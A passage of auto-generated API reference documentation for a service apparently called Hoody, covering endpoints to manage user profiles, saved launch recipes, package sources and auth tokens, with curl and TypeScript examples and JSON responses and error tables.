    "name": "default",
    "description": "Default profile (inherits global sources)",
    "defaults": {
      "os": "linux",
      "kind": "any",
      "source": ["nix", "pkgx"],
      "pick": "ask",
      "limit": 20
    },
    "sources_mode": "inherit",
    "sources": [],
    "policy": {
      "require_verified": true,
      "allow_redirect": true
    }
  }
]
```



## Create profile

Creates a new user profile with default preferences and optional source overrides. The `name` field is required and must be unique. Returns the updated list of all profiles on success.

### `POST /api/v1/run/profiles`

This endpoint takes no parameters.

#### Request Body

Send a `ProfileConfig` object describing the new profile.

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `name` | string | Yes | Unique profile name |
| `description` | string | No | Human-readable profile description |
| `defaults` | object | No | Default selector values applied when the profile is active (see `ProfileDefaults`) |
| `sources_mode` | string | No | `inherit` starts from global sources, `allowlist` disables all sources first |
| `sources` | array | No | Per-source overrides (enable/disable/reprioritize). Default: `[]` |
| `policy` | object | No | Policy constraints for the profile (see `PolicyConfig`) |



```bash
curl -X POST https://api.hoody.com/api/v1/run/profiles \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "workstation",
    "description": "Linux GUI workstation",
    "defaults": {
      "os": "linux",
      "kind": "gui",
      "source": ["nix", "appimage"],
      "pick": "first"
    },
    "sources_mode": "allowlist",
    "policy": {
      "require_verified": true,
      "allow_redirect": true
    }
  }'
```


```ts
await client.app.profiles.create({
  name: "workstation",
  description: "Linux GUI workstation",
  defaults: { os: "linux", kind: "gui", source: ["nix", "appimage"], pick: "first" },
  sources_mode: "allowlist",
  policy: { require_verified: true, allow_redirect: true }
});
```


```json
[
  {
    "name": "default",
    "description": "Default profile (inherits global sources)",
    "defaults": { "os": "linux", "kind": "any", "pick": "ask" },
    "sources_mode": "inherit",
    "sources": [],
    "policy": { "require_verified": true, "allow_redirect": true }
  },
  {
    "name": "workstation",
    "description": "Linux GUI workstation",
    "defaults": { "os": "linux", "kind": "gui", "source": ["nix", "appimage"], "pick": "first" },
    "sources_mode": "allowlist",
    "sources": [],
    "policy": { "require_verified": true, "allow_redirect": true }
  }
]
```


```json
{
  "error": "missing profile name",
  "code": 400
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_PROFILE_NAME` | Missing profile name | The profile configuration did not include a non-empty name | Set `name` before creating the profile |


```json
{
  "error": "profile already exists",
  "code": 409
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROFILE_ALREADY_EXISTS` | Profile already exists | A profile with the same name already exists | Choose a unique profile name or update the existing profile instead |


```json
{
  "error": "configuration save failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFIG_SAVE_FAILED` | Configuration save failed | The updated profile configuration could not be persisted | Check storage health and retry |



## Select active profile

Sets the named profile as the currently active profile. Its defaults will be applied to all subsequent requests that do not explicitly override them.

### `POST /api/v1/run/profiles/{profile}/select`

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `profile` | path | string | Yes | Profile name to select |



```bash
curl -X POST https://api.hoody.com/api/v1/run/profiles/default/select \
  -H "Authorization: Bearer <token>"
```


```ts
await client.app.profiles.select("default");
```


```json
{
  "selected_profile": "default"
}
```


```json
{
  "error": "profile not found",
  "code": 404
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROFILE_NOT_FOUND` | Profile not found | No profile exists with the requested name | Call `list` and choose a valid profile name |


```json
{
  "error": "configuration save failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFIG_SAVE_FAILED` | Configuration save failed | The updated profile selection could not be persisted | Check storage health and retry |



## Update profile

Partially updates a profile configuration. Only the fields included in the request body are modified; omitted fields retain their current values.

### `PATCH /api/v1/run/profiles/{profile}`

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `profile` | path | string | Yes | Profile name |

#### Request Body

Send a JSON object containing the subset of `ProfileConfig` fields to update. The supported merge fields are `description`, `defaults`, `sources_mode`, and `sources`.



```bash
curl -X PATCH https://api.hoody.com/api/v1/run/profiles/workstation \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "description": "Linux GUI workstation (revised)",
    "defaults": { "limit": 30 }
  }'
```


```ts
await client.app.profiles.update("workstation", {
  description: "Linux GUI workstation (revised)",
  defaults: { limit: 30 }
});
```


```json
{
  "name": "workstation",
  "description": "Linux GUI workstation (revised)",
  "defaults": {
    "os": "linux",
    "kind": "gui",
    "source": ["nix", "appimage"],
    "pick": "first",
    "limit": 30
  },
  "sources_mode": "allowlist",
  "sources": [],
  "policy": {
    "require_verified": true,
    "allow_redirect": true
  }
}
```


```json
{
  "error": "profile not found",
  "code": 404
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROFILE_NOT_FOUND` | Profile not found | No profile exists with the requested name | Call `list` and choose a valid profile name |


```json
{
  "error": "configuration save failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFIG_SAVE_FAILED` | Configuration save failed | The updated profile configuration could not be persisted | Check storage health and retry |



## Delete profile

Removes a profile by name. If the deleted profile was the selected profile, the active selection is cleared.

### `DELETE /api/v1/run/profiles/{profile}`

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `profile` | path | string | Yes | Profile name |



```bash
curl -X DELETE https://api.hoody.com/api/v1/run/profiles/workstation \
  -H "Authorization: Bearer <token>"
```


```ts
await client.app.profiles.delete("workstation");
```


The profile was deleted successfully. No content is returned.


```json
{
  "error": "profile not found",
  "code": 404
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `PROFILE_NOT_FOUND` | Profile not found | No profile exists with the requested name | Call `list` and choose a valid profile name |


```json
{
  "error": "configuration save failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFIG_SAVE_FAILED` | Configuration save failed | The updated profile configuration could not be persisted | Check storage health and retry |

---

# App: Recipes

**Page:** api/app/recipes

[Download Raw Markdown](./api/app/recipes.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# App: Recipes

The Recipes API manages named selector templates — called **recipes** — that bundle a selector template with an allow-list of overridable fields. Use these endpoints to list, create, fetch, update, delete, search, and execute saved recipes without re-sending the full selector on every run.

## List saved launch recipes

`GET /api/v1/run/recipes`

Returns all saved recipes that can be reused as named selector templates.

This endpoint takes no parameters.




```bash
curl -sS -X GET 'http://127.0.0.1:7682/api/v1/run/recipes'
```




```ts
const recipes = await client.app.recipes.list();
```




```json
[
  {
    "name": "firefox-stable",
    "description": "Stable Firefox via nixpkgs",
    "selector_template": {
      "app": "firefox",
      "os": "linux",
      "kind": "gui",
      "source": ["nix"],
      "arch": "amd64"
    },
    "allowed_overrides": ["version", "channel"]
  },
  {
    "name": "node-lts",
    "description": "Latest Node.js LTS",
    "selector_template": {
      "app": "node",
      "os": "any",
      "kind": "cli",
      "source": ["nix", "pkgx"]
    },
    "allowed_overrides": ["version"]
  }
]
```




## Get a saved recipe

`GET /api/v1/run/recipes/{name}`

Retrieves a single saved recipe by name.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| name | path | string | Yes | Recipe name |




```bash
curl -sS -X GET 'http://127.0.0.1:7682/api/v1/run/recipes/firefox-stable'
```




```ts
const recipe = await client.app.recipes.get({
  name: "firefox-stable",
});
```




```json
{
  "name": "firefox-stable",
  "description": "Stable Firefox via nixpkgs",
  "selector_template": {
    "app": "firefox",
    "os": "linux",
    "kind": "gui",
    "source": ["nix"],
    "arch": "amd64"
  },
  "allowed_overrides": ["version", "channel"]
}
```




```json
{
  "error": "Recipe not found",
  "code": 404
}
```




## Create a saved recipe

`POST /api/v1/run/recipes`

Creates a new named selector template. The `allowed_overrides` array constrains which fields may be supplied at run time.

### Request Body

A `RecipeConfig` object describing the recipe.

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| name | string | Yes | Recipe name (unique) |
| description | string | No | Human-readable description |
| selector_template | object | No | Partial selector template the recipe resolves against |
| allowed_overrides | array of string | No | Fields the caller may override at run time. Default: `[]` |

```json
{
  "name": "firefox-stable",
  "description": "Stable Firefox via nixpkgs",
  "selector_template": {
    "app": "firefox",
    "os": "linux",
    "kind": "gui",
    "source": ["nix"],
    "arch": "amd64"
  },
  "allowed_overrides": ["version", "channel"]
}
```




```bash
curl -sS -X POST 'http://127.0.0.1:7682/api/v1/run/recipes' \
  -H 'content-type: application/json' \
  -d '{
    "name": "firefox-stable",
    "description": "Stable Firefox via nixpkgs",
    "selector_template": {
      "app": "firefox",
      "os": "linux",
      "kind": "gui",
      "source": ["nix"],
      "arch": "amd64"
    },
    "allowed_overrides": ["version", "channel"]
  }'
```




```ts
const recipes = await client.app.recipes.create({
  data: {
    name: "firefox-stable",
    description: "Stable Firefox via nixpkgs",
    selector_template: {
      app: "firefox",
      os: "linux",
      kind: "gui",
      source: ["nix"],
      arch: "amd64",
    },
    allowed_overrides: ["version", "channel"],
  },
});
```




```json
[
  {
    "name": "firefox-stable",
    "description": "Stable Firefox via nixpkgs",
    "selector_template": {
      "app": "firefox",
      "os": "linux",
      "kind": "gui",
      "source": ["nix"],
      "arch": "amd64"
    },
    "allowed_overrides": ["version", "channel"]
  }
]
```




```json
{
  "error": "Invalid recipe configuration",
  "code": 400
}
```




```json
{
  "error": "Recipe already exists",
  "code": 409
}
```




## Run using a saved recipe

`POST /api/v1/run/recipes/{name}/run`

Resolves a saved recipe after applying allowed overrides, optionally selects a candidate, and returns a `RunResponse` that may include a shell command, terminal delegation result, or generated curl.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| name | path | string | Yes | Recipe name |

### Request Body

A `RecipeExecutionRequest` containing optional `overrides` to apply on top of the saved selector template.

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| overrides | object | No | Partial selector template overrides permitted by the recipe's `allowed_overrides` |

```json
{
  "overrides": {
    "version": "128.0.3"
  }
}
```




```bash
curl -sS -X POST 'http://127.0.0.1:7682/api/v1/run/recipes/firefox-stable/run' \
  -H 'content-type: application/json' \
  -d '{
    "overrides": {
      "version": "128.0.3"
    }
  }'
```




```ts
const result = await client.app.recipes.run({
  name: "firefox-stable",
  data: {
    overrides: {
      version: "128.0.3",
    },
  },
});
```




```json
{
  "status": "dry-run",
  "set_id": "a1b2c3d4e5f6",
  "candidates": [
    {
      "candidate_id": "nix-firefox-128",
      "title": "Firefox (nixpkgs)",
      "description": "Mozilla Firefox web browser via nixpkgs",
      "provider": "nix",
      "source_id": "nixpkgs",
      "score": 95,
      "run_plan": {
        "command": "nix run nixpkgs#firefox"
      }
    }
  ],
  "selected": {
    "candidate_id": "nix-firefox-128",
    "title": "Firefox (nixpkgs)",
    "description": "Mozilla Firefox web browser via nixpkgs",
    "provider": "nix",
    "source_id": "nixpkgs",
    "score": 95,
    "run_plan": {
      "command": "nix run nixpkgs#firefox"
    }
  },
  "shell_command": "nix run nixpkgs#firefox"
}
```




```json
{
  "error": "Override not permitted by recipe",
  "code": 400
}
```




```json
{
  "error": "Recipe not found",
  "code": 404
}
```




```json
{
  "error": "Required local tools are unavailable",
  "code": 503
}
```




## Search using a saved recipe

`POST /api/v1/run/recipes/{name}/search`

Resolves a saved recipe to a candidate set after applying allowed overrides. Returns a `set_id` and ranked candidates for race-free selection.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| name | path | string | Yes | Recipe name |

### Request Body

A `RecipeExecutionRequest` containing optional `overrides` permitted by the recipe.

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| overrides | object | No | Partial selector template overrides permitted by the recipe's `allowed_overrides` |

```json
{
  "overrides": {
    "channel": "stable"
  }
}
```




```bash
curl -sS -X POST 'http://127.0.0.1:7682/api/v1/run/recipes/firefox-stable/search' \
  -H 'content-type: application/json' \
  -d '{
    "overrides": {
      "channel": "stable"
    }
  }'
```




```ts
const result = await client.app.recipes.search({
  name: "firefox-stable",
  data: {
    overrides: {
      channel: "stable",
    },
  },
});
```




```json
{
  "set_id": "a1b2c3d4e5f6",
  "candidates": [
    {
      "candidate_id": "nix-firefox-128",
      "title": "Firefox (nixpkgs)",
      "description": "Mozilla Firefox web browser via nixpkgs",
      "provider": "nix",
      "source_id": "nixpkgs",
      "score": 95,
      "run_plan": {
        "command": "nix run nixpkgs#firefox"
      }
    }
  ]
}
```




```json
{
  "error": "Override not permitted by recipe",
  "code": 400
}
```




```json
{
  "error": "Recipe not found",
  "code": 404
}
```




## Update a saved recipe

`PATCH /api/v1/run/recipes/{name}`

Partially updates an existing recipe.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| name | path | string | Yes | Recipe name |

### Request Body

A partial recipe configuration. Only the fields you supply are modified; all others are left unchanged.

```json
{
  "description": "Updated description",
  "allowed_overrides": ["version", "channel", "variant"]
}
```




```bash
curl -sS -X PATCH 'http://127.0.0.1:7682/api/v1/run/recipes/firefox-stable' \
  -H 'content-type: application/json' \
  -d '{
    "description": "Updated description",
    "allowed_overrides": ["version", "channel", "variant"]
  }'
```




```ts
const updated = await client.app.recipes.update({
  name: "firefox-stable",
  data: {
    description: "Updated description",
    allowed_overrides: ["version", "channel", "variant"],
  },
});
```




```json
{
  "name": "firefox-stable",
  "description": "Updated description",
  "selector_template": {
    "app": "firefox",
    "os": "linux",
    "kind": "gui",
    "source": ["nix"],
    "arch": "amd64"
  },
  "allowed_overrides": ["version", "channel", "variant"]
}
```




```json
{
  "error": "Recipe not found",
  "code": 404
}
```




## Delete a saved recipe

`DELETE /api/v1/run/recipes/{name}`

Removes a saved recipe by name.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| name | path | string | Yes | Recipe name |




```bash
curl -sS -X DELETE 'http://127.0.0.1:7682/api/v1/run/recipes/firefox-stable'
```




```ts
await client.app.recipes.delete({
  name: "firefox-stable",
});
```




Recipe deleted successfully. No response body is returned.




```json
{
  "error": "Recipe not found",
  "code": 404
}
```

---

# App: Sources

**Page:** api/app/sources

[Download Raw Markdown](./api/app/sources.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Sources API lets you manage the package sources Hoody uses to resolve application candidates. Use these endpoints to list, create, update, delete, sync, and diagnose individual sources. Sources can be providers like `nix`, `pkgx`, `appimage`, `oci`, `registry`, or `system`, and each source has a specific implementation type that determines how it resolves and syncs candidates.

## List sources

### `GET /api/v1/run/sources`

List all configured package sources with their type, provider, priority, enabled state, and provider-specific configuration.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/run/sources \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const sources = await client.app.sources.list();
```



#### Response — 200

Array of source configurations.

```json
[
  {
    "source_id": "nixpkgs",
    "enabled": true,
    "priority": 100,
    "provider": "nix",
    "source_type": "nix-flake",
    "pin": {
      "url": "https://github.com/NixOS/nixpkgs"
    },
    "config": {
      "flake": "nixpkgs"
    }
  },
  {
    "source_id": "pkgx-default",
    "enabled": true,
    "priority": 80,
    "provider": "pkgx",
    "source_type": "pkgx"
  }
]
```

## Get source diagnostics

### `GET /api/v1/run/sources/{source_id}/diagnostics`

Return runtime-only health and observability data for a configured source, including recent search or sync failures.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `source_id` | path | string | Yes | Source identifier |

This endpoint accepts no request body.



```bash
curl -X GET https://api.hoody.com/api/v1/run/sources/nixpkgs/diagnostics \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const diagnostics = await client.app.sources.getDiagnostics({
  source_id: "nixpkgs"
});
```



#### Response — 200

```json
{
  "source_id": "nixpkgs",
  "status": "ok",
  "last_success_at": "2025-01-15T10:30:00Z",
  "last_error_at": null,
  "last_error": null,
  "last_search_latency_ms": 142,
  "last_sync_job_id": "550e8400-e29b-41d4-a716-446655440000",
  "cache_hint": "warm",
  "effective_enabled_reason": "configured and enabled",
  "provider_details": {
    "flake_rev": "abc123def456"
  }
}
```

#### Response — 404

Source not found.

```json
{
  "error": "Source not found",
  "code": 404
}
```

## Create a source

### `POST /api/v1/run/sources`

Add a new package source configuration. The source will be appended to the existing list and immediately available for searches if enabled.

This endpoint takes no parameters.

### Request Body

Source configuration object.

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `source_id` | string | Yes | Unique source identifier (e.g. `nixpkgs`) |
| `enabled` | boolean | Yes | Whether this source is active for searches |
| `priority` | integer | Yes | Source priority (higher values are searched first and ranked higher) |
| `provider` | string | Yes | Package source provider kind. One of: `nix`, `pkgx`, `appimage`, `oci`, `registry`, `system`, `any` |
| `source_type` | string | Yes | Specific source implementation type. One of: `nix-pkgs`, `nix-flake`, `pkgx`, `app-image-pinned`, `app-image-git-hub-releases`, `app-image-catalog`, `oci-local-images`, `manifest-registry`, `manifest-remote-index`, `system-path`, `trusted-list-file` |
| `pin` | object | No | Pin configuration (URL plus optional integrity fields) |
| `config` | object | No | Provider-specific configuration (varies by `source_type`) |

The `pin` object accepts the following fields:

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `url` | string | Yes | Pinned URL for the source |
| `sha256` | string | No | SHA-256 hash for integrity verification |
| `author_pubkey_ed25519` | string | No | Ed25519 public key of the source author (base64) |
| `sig_ed25519` | string | No | Ed25519 signature for provenance verification (base64) |



```bash
curl -X POST https://api.hoody.com/api/v1/run/sources \
  -H "Authorization: Bearer &lt;token&gt;" \
  -H "Content-Type: application/json" \
  -d '{
    "source_id": "nixpkgs",
    "enabled": true,
    "priority": 100,
    "provider": "nix",
    "source_type": "nix-flake",
    "pin": {
      "url": "https://github.com/NixOS/nixpkgs"
    },
    "config": {
      "flake": "nixpkgs"
    }
  }'
```


```typescript
const sources = await client.app.sources.create({
  source_id: "nixpkgs",
  enabled: true,
  priority: 100,
  provider: "nix",
  source_type: "nix-flake",
  pin: {
    url: "https://github.com/NixOS/nixpkgs"
  },
  config: {
    flake: "nixpkgs"
  }
});
```



#### Response — 200

Updated list of all sources.

```json
[
  {
    "source_id": "nixpkgs",
    "enabled": true,
    "priority": 100,
    "provider": "nix",
    "source_type": "nix-flake",
    "pin": {
      "url": "https://github.com/NixOS/nixpkgs"
    },
    "config": {
      "flake": "nixpkgs"
    }
  }
]
```

#### Response — 400

Missing source_id.

```json
{
  "error": "Missing source identifier",
  "code": 400
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_SOURCE_ID` | Missing source identifier | The source configuration did not include a non-empty `source_id` | Set `source_id` before creating the source |

#### Response — 409

Source already exists.

```json
{
  "error": "Source already exists",
  "code": 409
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_ALREADY_EXISTS` | Source already exists | A source with the same `source_id` already exists | Choose a unique `source_id` or update the existing source instead |

#### Response — 503

Configuration persistence failed.

```json
{
  "error": "Configuration save failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFIG_SAVE_FAILED` | Configuration save failed | The updated source configuration could not be persisted | Check storage health and retry |

## Sync sources

### `POST /api/v1/run/sources/{source_id}/sync`

Trigger a sync operation for a specific source. Returns immediately with a job handle for tracking progress via the jobs endpoint.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `source_id` | path | string | Yes | Source identifier |

This endpoint accepts no request body.



```bash
curl -X POST https://api.hoody.com/api/v1/run/sources/nixpkgs/sync \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const job = await client.app.sources.sync({
  source_id: "nixpkgs"
});
```



#### Response — 202

Sync job accepted.

```json
{
  "job_id": "550e8400-e29b-41d4-a716-446655440000",
  "kind": "source-sync",
  "status": "running",
  "created_at": "2025-01-15T10:30:00Z",
  "updated_at": "2025-01-15T10:30:05Z"
}
```

#### Response — 503

Sync could not be started.

```json
{
  "error": "Sync start failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SYNC_START_FAILED` | Sync start failed | The source sync job could not be started | Retry or inspect source/provider health |

### `POST /api/v1/run/sources/sync`

Trigger a sync operation for all enabled sources. Returns immediately with a job handle. Use `GET /api/v1/run/jobs/{job_id}?wait=done&timeout_ms=30000` to poll for completion.

This endpoint takes no parameters.

This endpoint accepts no request body.



```bash
curl -X POST https://api.hoody.com/api/v1/run/sources/sync \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
const job = await client.app.sources.syncAll();
```



#### Response — 202

Sync job accepted.

```json
{
  "job_id": "550e8400-e29b-41d4-a716-446655440000",
  "kind": "source-sync",
  "status": "running",
  "created_at": "2025-01-15T10:30:00Z",
  "updated_at": "2025-01-15T10:30:05Z"
}
```

#### Response — 503

Sync could not be started.

```json
{
  "error": "Sync start failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SYNC_START_FAILED` | Sync start failed | The all-sources sync job could not be started | Retry or inspect source/provider health |

## Update a source

### `PATCH /api/v1/run/sources/{source_id}`

Partially update a source configuration. Supports merging `enabled`, `priority`, `pin`, and `config` fields.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `source_id` | path | string | Yes | Source identifier |

### Request Body

The body is an open-ended partial source configuration object. Any fields provided are merged into the existing configuration. Common fields include `enabled`, `priority`, `pin`, and `config`.



```bash
curl -X PATCH https://api.hoody.com/api/v1/run/sources/nixpkgs \
  -H "Authorization: Bearer &lt;token&gt;" \
  -H "Content-Type: application/json" \
  -d '{
    "enabled": true,
    "priority": 150
  }'
```


```typescript
const source = await client.app.sources.update({
  source_id: "nixpkgs",
  data: {
    enabled: true,
    priority: 150
  }
});
```



#### Response — 200

Updated source configuration.

```json
{
  "source_id": "nixpkgs",
  "enabled": true,
  "priority": 150,
  "provider": "nix",
  "source_type": "nix-flake"
}
```

#### Response — 404

Source not found.

```json
{
  "error": "Source not found",
  "code": 404
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_NOT_FOUND` | Source not found | No source exists with the requested `source_id` | Call `list()` and choose a valid `source_id` |

#### Response — 503

Configuration persistence failed.

```json
{
  "error": "Configuration save failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFIG_SAVE_FAILED` | Configuration save failed | The updated source configuration could not be persisted | Check storage health and retry |

## Delete a source

### `DELETE /api/v1/run/sources/{source_id}`

Remove a package source by its ID. Returns 204 on success.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `source_id` | path | string | Yes | Source identifier |

This endpoint accepts no request body.



```bash
curl -X DELETE https://api.hoody.com/api/v1/run/sources/nixpkgs \
  -H "Authorization: Bearer &lt;token&gt;"
```


```typescript
await client.app.sources.delete({
  source_id: "nixpkgs"
});
```



#### Response — 204

Source deleted successfully. No content returned.

#### Response — 404

Source not found.

```json
{
  "error": "Source not found",
  "code": 404
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SOURCE_NOT_FOUND` | Source not found | No source exists with the requested `source_id` | Call `list()` and choose a valid `source_id` |

#### Response — 503

Configuration persistence failed.

```json
{
  "error": "Configuration save failed",
  "code": 503
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONFIG_SAVE_FAILED` | Configuration save failed | The updated source configuration could not be persisted | Check storage health and retry |

---

# App:API Documentation

**Page:** api/app-api-documentation

[Download Raw Markdown](./api/app-api-documentation.md)

---

## API Endpoints Summary

- **GET** `/api/v1/run/openapi.yaml` — OpenAPI specification (YAML)
- **GET** `/api/v1/run/openapi.json` — OpenAPI specification (JSON)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# App:App Execution

**Page:** api/app-app-execution

[Download Raw Markdown](./api/app-app-execution.md)

---

## API Endpoints Summary

- **GET** `/api/v1/run/search` — Search for app candidates
- **POST** `/api/v1/run/search/paged` — Search for app candidates with cursor pagination
- **POST** `/api/v1/run/preflight` — Preflight a run request
- **POST** `/api/v1/run/batch` — Execute a batch of search or run requests
- **GET** `/api/v1/run/run` — Resolve an application and return exact shell command
- **POST** `/api/v1/run/run` — Resolve an application via JSON body
- **GET** `/api/v1/run/go/{rest}` — Path-based resolve (positional or key-value)
- **GET** `/api/v1/run/t/{terminal_id}/go/{rest}` — Terminal-anchored path-based resolve

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# App:Configuration

**Page:** api/app-configuration

[Download Raw Markdown](./api/app-configuration.md)

---

## API Endpoints Summary

- **GET** `/api/v1/run/config` — Get full runtime configuration

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# App:Health

**Page:** api/app-health

[Download Raw Markdown](./api/app-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/run/health` — Service health check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# App:Jobs

**Page:** api/app-jobs

[Download Raw Markdown](./api/app-jobs.md)

---

## API Endpoints Summary

- **POST** `/api/v1/run/search/jobs` — Start an async search job
- **GET** `/api/v1/run/jobs/{job_id}` — Get job status

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# App:Profiles

**Page:** api/app-profiles

[Download Raw Markdown](./api/app-profiles.md)

---

## API Endpoints Summary

- **GET** `/api/v1/run/profiles` — List all profiles
- **POST** `/api/v1/run/profiles` — Create a new profile
- **PATCH** `/api/v1/run/profiles/{profile}` — Update a profile
- **DELETE** `/api/v1/run/profiles/{profile}` — Delete a profile
- **POST** `/api/v1/run/profiles/{profile}/select` — Select the active profile

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# App:Recipes

**Page:** api/app-recipes

[Download Raw Markdown](./api/app-recipes.md)

---

## API Endpoints Summary

- **GET** `/api/v1/run/recipes` — List saved launch recipes
- **POST** `/api/v1/run/recipes` — Create a saved recipe
- **GET** `/api/v1/run/recipes/{name}` — Get a saved recipe
- **PATCH** `/api/v1/run/recipes/{name}` — Update a saved recipe
- **DELETE** `/api/v1/run/recipes/{name}` — Delete a saved recipe
- **POST** `/api/v1/run/recipes/{name}/search` — Search using a saved recipe
- **POST** `/api/v1/run/recipes/{name}/run` — Run using a saved recipe

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# App:Sources

**Page:** api/app-sources

[Download Raw Markdown](./api/app-sources.md)

---

## API Endpoints Summary

- **GET** `/api/v1/run/sources` — List all package sources
- **POST** `/api/v1/run/sources` — Create a new package source
- **PATCH** `/api/v1/run/sources/{source_id}` — Update a package source
- **DELETE** `/api/v1/run/sources/{source_id}` — Delete a package source
- **POST** `/api/v1/run/sources/{source_id}/sync` — Sync a single source
- **POST** `/api/v1/run/sources/sync` — Sync all sources
- **GET** `/api/v1/run/sources/{source_id}/diagnostics` — Get runtime diagnostics for a source

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# API Tokens

**Page:** api/auth-tokens

[Download Raw Markdown](./api/auth-tokens.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The API Tokens endpoints let you create and manage long-lived authentication tokens for programmatic access to the Hoody platform. Use these endpoints to issue scoped tokens with IP restrictions, expiration, and fine-grained permissions, and to manage their lifecycle (update, copy, add/remove realm bindings, delete).


Token secrets are only returned in the response body at creation or copy time. Store them securely — they cannot be retrieved later.


## List auth tokens

Returns all auth tokens for the authenticated user. Token values are not included in the response.




```bash
curl -X GET https://api.hoody.icu/api/v1/auth/tokens \
  -H "Authorization: Bearer <token>"
```




```typescript
const tokens = await client.api.authTokens.listIterator();
```




### Response




```json
{
  "statusCode": 200,
  "message": "Auth tokens retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439011",
      "alias": "Production API Key",
      "prefix": "hdy_",
      "ip_whitelist": ["192.168.1.0/24", "10.0.0.1"],
      "realm_ids": [],
      "allow_no_realm": true,
      "expires_at": "2025-12-31T23:59:59.000Z",
      "is_enabled": true,
      "vault_access": true,
      "event_access": true,
      "last_used_at": "2025-10-28T12:00:00.000Z",
      "last_used_ip": "198.51.100.1",
      "created_at": "2025-01-15T10:30:00.000Z",
      "updated_at": "2025-01-15T14:45:00.000Z"
    },
    {
      "id": "507f1f77bcf86cd799439022",
      "alias": "Development Token",
      "prefix": "hdy_",
      "ip_whitelist": ["*"],
      "realm_ids": ["507f1f77bcf86cd799439011"],
      "allow_no_realm": false,
      "expires_at": null,
      "is_enabled": true,
      "vault_access": false,
      "event_access": true,
      "last_used_at": null,
      "last_used_ip": null,
      "created_at": "2025-01-10T08:00:00.000Z",
      "updated_at": "2025-01-10T08:00:00.000Z"
    }
  ]
}
```




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
